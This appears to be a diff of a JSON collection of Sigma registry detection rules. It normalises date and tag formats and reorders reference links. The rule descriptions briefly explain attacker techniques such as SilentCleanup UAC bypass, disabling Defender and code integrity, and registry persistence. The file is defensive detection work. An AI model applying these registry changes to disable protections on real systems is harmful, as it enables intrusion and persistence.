"https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/", - "http://woshub.com/rds-shadow-how-to-connect-to-a-user-session-in-windows-server-2012-r2/", - "https://admx.help/HKLM/SOFTWARE/Policies/Microsoft/Windows%20NT/Terminal%20Services", "https://github.com/redcanaryco/atomic-red-team/blob/02c7d02fe1f1feb0fc7944550408ea8224273994/atomics/T1112/T1112.md#atomic-test-63---disable-remote-desktop-anti-alias-setting-through-registry", - "https://web.archive.org/web/20200929062532/https://blog.menasec.net/2019/02/threat-hunting-rdp-hijacking-via.html", + "https://threathunterplaybook.com/hunts/windows/190407-RegModEnableRDPConnections/notebook.html", + "https://admx.help/HKLM/SOFTWARE/Policies/Microsoft/Windows%20NT/Terminal%20Services", "https://github.com/redcanaryco/atomic-red-team/blob/02c7d02fe1f1feb0fc7944550408ea8224273994/atomics/T1112/T1112.md#atomic-test-64---disable-remote-desktop-security-settings-through-registry", + "http://woshub.com/rds-shadow-how-to-connect-to-a-user-session-in-windows-server-2012-r2/", + "https://blog.sekoia.io/darkgate-internals/", + "https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/", "http://etutorials.org/Microsoft+Products/microsoft+windows+server+2003+terminal+services/Chapter+6+Registry/Registry+Keys+for+Terminal+Services/", - "https://threathunterplaybook.com/hunts/windows/190407-RegModEnableRDPConnections/notebook.html", + "https://web.archive.org/web/20200929062532/https://blog.menasec.net/2019/02/threat-hunting-rdp-hijacking-via.html", + "https://twitter.com/SagieSec/status/1469001618863624194?t=HRf0eA0W1YYzkTSHb-Ky1A&s=03", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_terminal_server_tampering.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence", "attack.t1112" ] @@ -2676,7 +2677,7 @@ "description": "Detects the modification of the registry to disable a system restore on the computer", "meta": { "author": "frack113", - "creation_date": "2022/04/04", + "creation_date": "2022-04-04", "falsepositive": [ "Unknown" ], @@ -2709,7 +2710,7 @@ "description": "Detects VBScript content stored into registry keys as seen being used by UNC2452 group", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/03/05", + "creation_date": "2021-03-05", "falsepositive": [ "Unknown" ], @@ -2742,7 +2743,7 @@ "description": "Detects processes setting a new DLL in DllName in under HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProvider.\nAdversaries may abuse time providers to execute DLLs when the system boots.\nThe Windows Time service (W32Time) enables time synchronization across and within domains.\n", "meta": { "author": "frack113", - "creation_date": "2022/06/19", + "creation_date": "2022-06-19", "falsepositive": [ "Unknown" ], @@ -2756,7 +2757,7 @@ ], "tags": [ "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1547.003" ] }, @@ -2776,7 +2777,7 @@ "description": "Detects modification of autostart extensibility point (ASEP) in registry.", "meta": { "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", - "creation_date": "2019/10/25", + "creation_date": "2019-10-25", "falsepositive": [ "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", "Legitimate administrator sets up autorun keys for legitimate reason" @@ -2786,8 +2787,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_office.yml" ], @@ -2812,7 +2813,7 @@ "description": "Detects changes to the HypervisorEnforcedCodeIntegrity registry key and the \"Enabled\" value being set to 0 in order to disable the Hypervisor Enforced Code Integrity feature. This allows an attacker to load unsigned and untrusted code to be run in the kernel\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), Anish Bogati", - "creation_date": "2023/03/14", + "creation_date": "2023-03-14", "falsepositive": [ "Unknown" ], @@ -2826,7 +2827,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_deviceguard_hypervisorenforcedcodeintegrity_disabled.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -2846,7 +2847,7 @@ "description": "Detects when attackers or tools disable Windows Defender functionalities via the Windows registry", "meta": { "author": "AlertIQ, Ján Trenčanský, frack113, Nasreddine Bencherchali, Swachchhanda Shrawan Poudel", - "creation_date": "2022/08/01", + "creation_date": "2022-08-01", "falsepositive": [ "Administrator actions via the Windows Defender interface", "Third party Antivirus" @@ -2856,17 +2857,17 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ + "https://www.tenforums.com/tutorials/123792-turn-off-tamper-protection-microsoft-defender-antivirus.html", + "https://gist.github.com/anadr/7465a9fde63d41341136949f14c21105", + "https://admx.help/?Category=Windows_7_2008R2&Policy=Microsoft.Policies.WindowsDefender::SpyNetReporting", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", - "https://gist.github.com/anadr/7465a9fde63d41341136949f14c21105", "https://www.tenforums.com/tutorials/32236-enable-disable-microsoft-defender-pua-protection-windows-10-a.html", "https://www.tenforums.com/tutorials/105533-enable-disable-windows-defender-exploit-protection-settings.html", - "https://www.tenforums.com/tutorials/123792-turn-off-tamper-protection-microsoft-defender-antivirus.html", - "https://admx.help/?Category=Windows_7_2008R2&Policy=Microsoft.Policies.WindowsDefender::SpyNetReporting", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_windows_defender_tamper.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -2886,7 +2887,7 @@ "description": "Detects the setting of the environement variable \"windir\" to a non default value.\nAttackers often abuse this variable in order to trigger a UAC bypass via the \"SilentCleanup\" task.\nThe SilentCleanup task located in %windir%\\system32\\cleanmgr.exe is an auto-elevated task that can be abused to elevate any file with administrator privileges without prompting UAC.\n", "meta": { "author": "frack113, Nextron Systems", - "creation_date": "2022/01/06", + "creation_date": "2022-01-06", "falsepositive": [ "Unknown" ], @@ -2901,8 +2902,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_bypass_uac_using_silentcleanup_task.yml" ], "tags": [ - "attack.privilege_escalation", - "attack.defense_evasion", + "attack.privilege-escalation", + "attack.defense-evasion", "attack.t1548.002" ] }, @@ -2922,7 +2923,7 @@ "description": "Detects modification of autostart extensibility point (ASEP) in registry.", "meta": { "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", - "creation_date": "2019/10/25", + "creation_date": "2019-10-25", "falsepositive": [ "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", "Legitimate administrator sets up autorun keys for legitimate reason" @@ -2932,8 +2933,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_classes.yml" ], @@ -2958,7 +2959,7 @@ "description": "Detects potentially suspicious changes to the SentinelOne context menu scan command by a process other than SentinelOne.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2024/03/06", + "creation_date": "2024-03-06", "falsepositive": [ "Unknown" ], @@ -2981,7 +2982,7 @@ "description": "Detects tampering with autologger trace sessions which is a technique used by attackers to disable logging", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/01", + "creation_date": "2022-08-01", "falsepositive": [ "Unknown" ], @@ -2996,7 +2997,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_autologger_sessions.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "f37b4bce-49d0-4087-9f5b-58bffda77316", @@ -3006,7 +3007,7 @@ "description": "Hides the file extension through modification of the registry", "meta": { "author": "frack113", - "creation_date": "2022/01/22", + "creation_date": "2022-01-22", "falsepositive": [ "Administrative scripts" ], @@ -3041,7 +3042,7 @@ "description": "Detects changes to the AppInstaller (winget) admin settings. Such as enabling local manifest installations or disabling installer hash checks", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/04/17", + "creation_date": "2023-04-17", "falsepositive": [ "The event doesn't contain information about the type of change. False positives are expected with legitimate changes" ], @@ -3050,12 +3051,12 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/microsoft/winget-cli/blob/02d2f93807c9851d73eaacb4d8811a76b64b7b01/src/AppInstallerCommonCore/Public/winget/AdminSettings.h#L13", "https://github.com/nasbench/Misc-Research/tree/b9596e8109dcdb16ec353f316678927e507a5b8d/LOLBINs/Winget", + "https://github.com/microsoft/winget-cli/blob/02d2f93807c9851d73eaacb4d8811a76b64b7b01/src/AppInstallerCommonCore/Public/winget/AdminSettings.h#L13", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_winget_admin_settings_tampering.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence" ] }, @@ -3066,7 +3067,7 @@ "description": "Detects modification of autostart extensibility point (ASEP) in registry.", "meta": { "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", - "creation_date": "2019/10/25", + "creation_date": "2019-10-25", "falsepositive": [ "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", "Legitimate administrator sets up autorun keys for legitimate reason" @@ -3076,8 +3077,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_currentversion_nt.yml" ], @@ -3102,7 +3103,7 @@ "description": "Detects the installation of a new shim database where the file is located in a non-default location", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/08/01", + "creation_date": "2023-08-01", "falsepositive": [ "Unknown" ], @@ -3137,7 +3138,7 @@ "description": "Detects changes to the \"ServiceDLL\" value related to a service in the registry.\nThis is often used as a method of persistence.\n", "meta": { "author": "frack113", - "creation_date": "2022/02/04", + "creation_date": "2022-02-04", "falsepositive": [ "Administrative scripts", "Installation of a service" @@ -3153,7 +3154,7 @@ ], "tags": [ "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1543.003" ] }, @@ -3173,7 +3174,7 @@ "description": "Detects modification of autostart extensibility point (ASEP) in registry.", "meta": { "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", - "creation_date": "2019/10/25", + "creation_date": "2019-10-25", "falsepositive": [ "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", "Legitimate administrator sets up autorun keys for legitimate reason" @@ -3183,8 +3184,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_winsock2.yml" ], @@ -3209,7 +3210,7 @@ "description": "Adversaries may use port monitors to run an attacker supplied DLL during system boot for persistence or privilege escalation.\nA port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup.\n", "meta": { "author": "frack113", - "creation_date": "2021/12/30", + "creation_date": "2021-12-30", "falsepositive": [ "Unknown" ], @@ -3242,7 +3243,7 @@ "description": "Detects when an attacker modifies values of the Disk Cleanup Handler in the registry to achieve persistence via autorun.\nThe disk cleanup manager is part of the operating system.\nIt displays the dialog box […] The user has the option of enabling or disabling individual handlers by selecting or clearing their check box in the disk cleanup manager's UI.\nAlthough Windows comes with a number of disk cleanup handlers, they aren't designed to handle files produced by other applications.\nInstead, the disk cleanup manager is designed to be flexible and extensible by enabling any developer to implement and register their own disk cleanup handler.\nAny developer can extend the available disk cleanup services by implementing and registering a disk cleanup handler.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/07/21", + "creation_date": "2022-07-21", "falsepositive": [ "Unknown" ], @@ -3266,7 +3267,7 @@ "description": "Detects when a user enables DNS-over-HTTPS.\nThis can be used to hide internet activity or be used to hide the process of exfiltrating data.\nWith this enabled organization will lose visibility into data such as query type, response and originating IP that are used to determine bad actors.\n", "meta": { "author": "Austin Songer", - "creation_date": "2021/07/22", + "creation_date": "2021-07-22", "falsepositive": [ "Unlikely" ], @@ -3277,12 +3278,12 @@ "refs": [ "https://chromeenterprise.google/policies/?policy=DnsOverHttpsMode", "https://github.com/elastic/detection-rules/issues/1371", - "https://www.tenforums.com/tutorials/151318-how-enable-disable-dns-over-https-doh-microsoft-edge.html", "https://admx.help/HKLM/Software/Policies/Mozilla/Firefox/DNSOverHTTPS", + "https://www.tenforums.com/tutorials/151318-how-enable-disable-dns-over-https-doh-microsoft-edge.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_dns_over_https_enabled.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1140", "attack.t1112" ] @@ -3310,7 +3311,7 @@ "description": "Detects enabling TurnOffCheck which can be used to bypass defense of MSDT Follina vulnerability", "meta": { "author": "Christopher Peacock @securepeacock, SCYTHE @scythe_io", - "creation_date": "2022/06/15", + "creation_date": "2022-06-15", "falsepositive": [ "Administrator actions" ], @@ -3323,7 +3324,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_enabling_turnoffcheck.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -3343,7 +3344,7 @@ "description": "Detect set Notification_Suppress to 1 to disable the Windows security center notification", "meta": { "author": "frack113", - "creation_date": "2022/08/19", + "creation_date": "2022-08-19", "falsepositive": [ "Unknown" ], @@ -3356,7 +3357,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_suppress_defender_notifications.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1112" ] }, @@ -3376,7 +3377,7 @@ "description": "Detects when an attacker modifies the registry value of the \"hhctrl\" to point to a custom binary", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/07/21", + "creation_date": "2022-07-21", "falsepositive": [ "Unlikely" ], @@ -3400,7 +3401,7 @@ "description": "Detects setting of a new registry value related to BgInfo configuration, which can be abused to execute custom VBScript via \"BgInfo.exe\"", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/08/16", + "creation_date": "2023-08-16", "falsepositive": [ "Legitimate VBScript" ], @@ -3413,7 +3414,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_bginfo_custom_vbscript.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1112" ] }, @@ -3433,7 +3434,7 @@ "description": "Detects modification of autostart extensibility point (ASEP) in registry.", "meta": { "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", - "creation_date": "2019/10/25", + "creation_date": "2019-10-25", "falsepositive": [ "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", "Legitimate administrator sets up autorun keys for legitimate reason" @@ -3443,8 +3444,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_currentcontrolset.yml" ], @@ -3469,7 +3470,7 @@ "description": "Detects disabling the CrashDump per registry (as used by HermeticWiper)", "meta": { "author": "Tobias Michalski (Nextron Systems)", - "creation_date": "2022/02/24", + "creation_date": "2022-02-24", "falsepositive": [ "Legitimate disabling of crashdumps" ], @@ -3509,7 +3510,7 @@ "description": "Detects setting of a new registry value related to BgInfo configuration, which can be abused to execute custom WMI query via \"BgInfo.exe\"", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/08/16", + "creation_date": "2023-08-16", "falsepositive": [ "Legitimate WMI query" ], @@ -3522,7 +3523,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_bginfo_custom_wmi_query.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1112" ] }, @@ -3542,7 +3543,7 @@ "description": "Detects registry changes to Microsoft Office \"AccessVBOM\" to a value of \"1\" which disables trust access for VBA on the victim machine and lets attackers execute malicious macros without any Microsoft Office warnings.", "meta": { "author": "Trent Liffick (@tliffick), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2020/05/22", + "creation_date": "2020-05-22", "falsepositive": [ "Unlikely" ], @@ -3551,13 +3552,13 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ + "https://securelist.com/scarcruft-surveilling-north-korean-defectors-and-human-rights-activists/105074/", "https://twitter.com/inversecos/status/1494174785621819397", "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/zloader-with-a-new-infection-technique/", - "https://securelist.com/scarcruft-surveilling-north-korean-defectors-and-human-rights-activists/105074/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_access_vbom_tamper.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1112" ] }, @@ -3577,7 +3578,7 @@ "description": "Detects potential persistence behavior using the windows telemetry registry key.\nWindows telemetry makes use of the binary CompatTelRunner.exe to run a variety of commands and perform the actual telemetry collections.\nThis binary was created to be easily extensible, and to that end, it relies on the registry to instruct on which commands to run.\nThe problem is, it will run any arbitrary command without restriction of location or type.\n", "meta": { "author": "Lednyov Alexey, oscd.community, Sreeman", - "creation_date": "2020/10/16", + "creation_date": "2020-10-16", "falsepositive": [ "Unknown" ], @@ -3610,7 +3611,7 @@ "description": "Detects changes to the \"Default\" property for keys located in the \\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\ registry. Which might be used as a method of persistence\nThe entries found under App Paths are used primarily for the following purposes.\nFirst, to map an application's executable file name to that file's fully qualified path.\nSecond, to prepend information to the PATH environment variable on a per-application, per-process basis.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/10", + "creation_date": "2022-08-10", "falsepositive": [ "Legitimate applications registering their binary from on of the suspicious locations mentioned above (tune it)" ], @@ -3644,7 +3645,7 @@ "description": "Detects tampering of RDP Terminal Service/Server sensitive settings.\nSuch as allowing unauthorized users access to a system via the 'fAllowUnsolicited' or enabling RDP via 'fDenyTSConnections', etc.\n", "meta": { "author": "Samir Bousseaden, David ANDRE, Roberto Rodriguez @Cyb3rWard0g, Nasreddine Bencherchali", - "creation_date": "2022/09/29", + "creation_date": "2022-09-29", "falsepositive": [ "Some of the keys mentioned here could be modified by an administrator while setting group policy (it should be investigated either way)" ], @@ -3653,17 +3654,17 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://twitter.com/SagieSec/status/1469001618863624194?t=HRf0eA0W1YYzkTSHb-Ky1A&s=03", - "https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/", - "http://woshub.com/rds-shadow-how-to-connect-to-a-user-session-in-windows-server-2012-r2/", + "https://threathunterplaybook.com/hunts/windows/190407-RegModEnableRDPConnections/notebook.html", "https://admx.help/HKLM/SOFTWARE/Policies/Microsoft/Windows%20NT/Terminal%20Services", - "https://web.archive.org/web/20200929062532/https://blog.menasec.net/2019/02/threat-hunting-rdp-hijacking-via.html", + "http://woshub.com/rds-shadow-how-to-connect-to-a-user-session-in-windows-server-2012-r2/", + "https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/", "http://etutorials.org/Microsoft+Products/microsoft+windows+server+2003+terminal+services/Chapter+6+Registry/Registry+Keys+for+Terminal+Services/", - "https://threathunterplaybook.com/hunts/windows/190407-RegModEnableRDPConnections/notebook.html", + "https://web.archive.org/web/20200929062532/https://blog.menasec.net/2019/02/threat-hunting-rdp-hijacking-via.html", + "https://twitter.com/SagieSec/status/1469001618863624194?t=HRf0eA0W1YYzkTSHb-Ky1A&s=03", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_terminal_server_suspicious.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence", "attack.t1112" ] @@ -3684,7 +3685,7 @@ "description": "Detects registry changes to Office trust records where the path is located in a potentially suspicious location", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/06/21", + "creation_date": "2023-06-21", "falsepositive": [ "Unlikely" ], @@ -3698,7 +3699,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_trust_record_susp_location.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1112" ] }, @@ -3718,7 +3719,7 @@ "description": "Bypasses User Account Control using Event Viewer and a relevant Windows Registry modification", "meta": { "author": "frack113", - "creation_date": "2022/01/05", + "creation_date": "2022-01-05", "falsepositive": [ "Unknown" ], @@ -3752,7 +3753,7 @@ "description": "Detects when an attacker register a new SIP provider for persistence and defense evasion", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/07/21", + "creation_date": "2022-07-21", "falsepositive": [ "Might trigger if a legitimate new SIP provider is registered. But this is not a common occurrence in an environment and should be investigated either way" ], @@ -3761,8 +3762,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://persistence-info.github.io/Data/mpnotify.html", "https://www.youtube.com/watch?v=ggY3srD9dYs&ab_channel=GrzegorzTworek", + "https://persistence-info.github.io/Data/mpnotify.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_mpnotify.yml" ], "tags": [ @@ -3776,7 +3777,7 @@ "description": "Detects the registration of a new ODBC driver where the driver is located in a potentially suspicious location", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/05/23", + "creation_date": "2023-05-23", "falsepositive": [ "Unlikely" ], @@ -3809,7 +3810,7 @@ "description": "Detects persistence via Visual Studio Tools for Office (VSTO) add-ins in Office applications.", "meta": { "author": "Bhabesh Raj", - "creation_date": "2021/01/10", + "creation_date": "2021-01-10", "falsepositive": [ "Legitimate Addin Installation" ], @@ -3843,7 +3844,7 @@ "description": "Detects changes to registry keys related to \"Trusted Location\" of Microsoft Office where the path is set to something uncommon. Attackers might add additional trusted locations to avoid macro security restrictions.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/06/21", + "creation_date": "2023-06-21", "falsepositive": [ "Other unknown legitimate or custom paths need to be filtered to avoid false positives" ], @@ -3857,7 +3858,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_trusted_location_uncommon.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1112" ] }, @@ -3877,7 +3878,7 @@ "description": "Detect modification of the startup key to a path where a payload could be stored to be launched during startup", "meta": { "author": "frack113", - "creation_date": "2022/10/01", + "creation_date": "2022-10-01", "falsepositive": [ "Unknown" ], @@ -3891,7 +3892,7 @@ ], "tags": [ "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1547.001" ] }, @@ -3911,7 +3912,7 @@ "description": "Administrative shares are hidden network shares created by Microsoft Windows NT operating systems that grant system administrators remote access to every disk volume on a network-connected system", "meta": { "author": "frack113", - "creation_date": "2022/01/16", + "creation_date": "2022-01-16", "falsepositive": [ "Unknown" ], @@ -3924,7 +3925,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_administrative_share.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1070.005" ] }, @@ -3944,7 +3945,7 @@ "description": "Detects changes to the \"MaxMpxCt\" registry value.\nMaxMpxCt specifies the maximum outstanding network requests for the server per client, which is used when negotiating a Server Message Block (SMB) connection with a client. Note if the value is set beyond 125 older Windows 9x clients will fail to negotiate.\nRansomware threat actors and operators (specifically BlackCat) were seen increasing this value in order to handle a higher volume of traffic.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2024/03/19", + "creation_date": "2024-03-19", "falsepositive": [ "Unknown" ], @@ -3953,14 +3954,14 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://www.intrinsec.com/alphv-ransomware-gang-analysis/?cn-reloaded=1", "https://www.huntress.com/blog/blackcat-ransomware-affiliate-ttps", "https://www.sentinelone.com/labs/blackcat-ransomware-highly-configurable-rust-driven-raas-on-the-prowl-for-victims/", + "https://www.intrinsec.com/alphv-ransomware-gang-analysis/?cn-reloaded=1", "https://securityscorecard.com/research/deep-dive-into-alphv-blackcat-ransomware", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_optimize_file_sharing_network.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1070.005" ] }, @@ -3980,7 +3981,7 @@ "description": "Detects the registration of a new ODBC driver.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/05/23", + "creation_date": "2023-05-23", "falsepositive": [ "Likely" ], @@ -4003,7 +4004,7 @@ "description": "Detects modification of autostart extensibility point (ASEP) in registry.", "meta": { "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", - "creation_date": "2019/10/25", + "creation_date": "2019-10-25", "falsepositive": [ "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", "Legitimate administrator sets up autorun keys for legitimate reason" @@ -4013,8 +4014,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_wow6432node_classes.yml" ], @@ -4039,7 +4040,7 @@ "description": "Detects usage of Windows Input Method Editor (IME) keyboard layout feature, which allows an attacker to load a DLL into the process after sending the WM_INPUTLANGCHANGEREQUEST message.\nBefore doing this, the client needs to register the DLL in a special registry key that is assumed to implement this keyboard layout. This registry key should store a value named \"Ime File\" with a DLL path.\nIMEs are essential for languages that have more characters than can be represented on a standard keyboard, such as Chinese, Japanese, and Korean.\n", "meta": { "author": "X__Junior (Nextron Systems)", - "creation_date": "2023/11/21", + "creation_date": "2023-11-21", "falsepositive": [ "IMEs are essential for languages that have more characters than can be represented on a standard keyboard, such as Chinese, Japanese, and Korean." ], @@ -4052,7 +4053,7 @@ 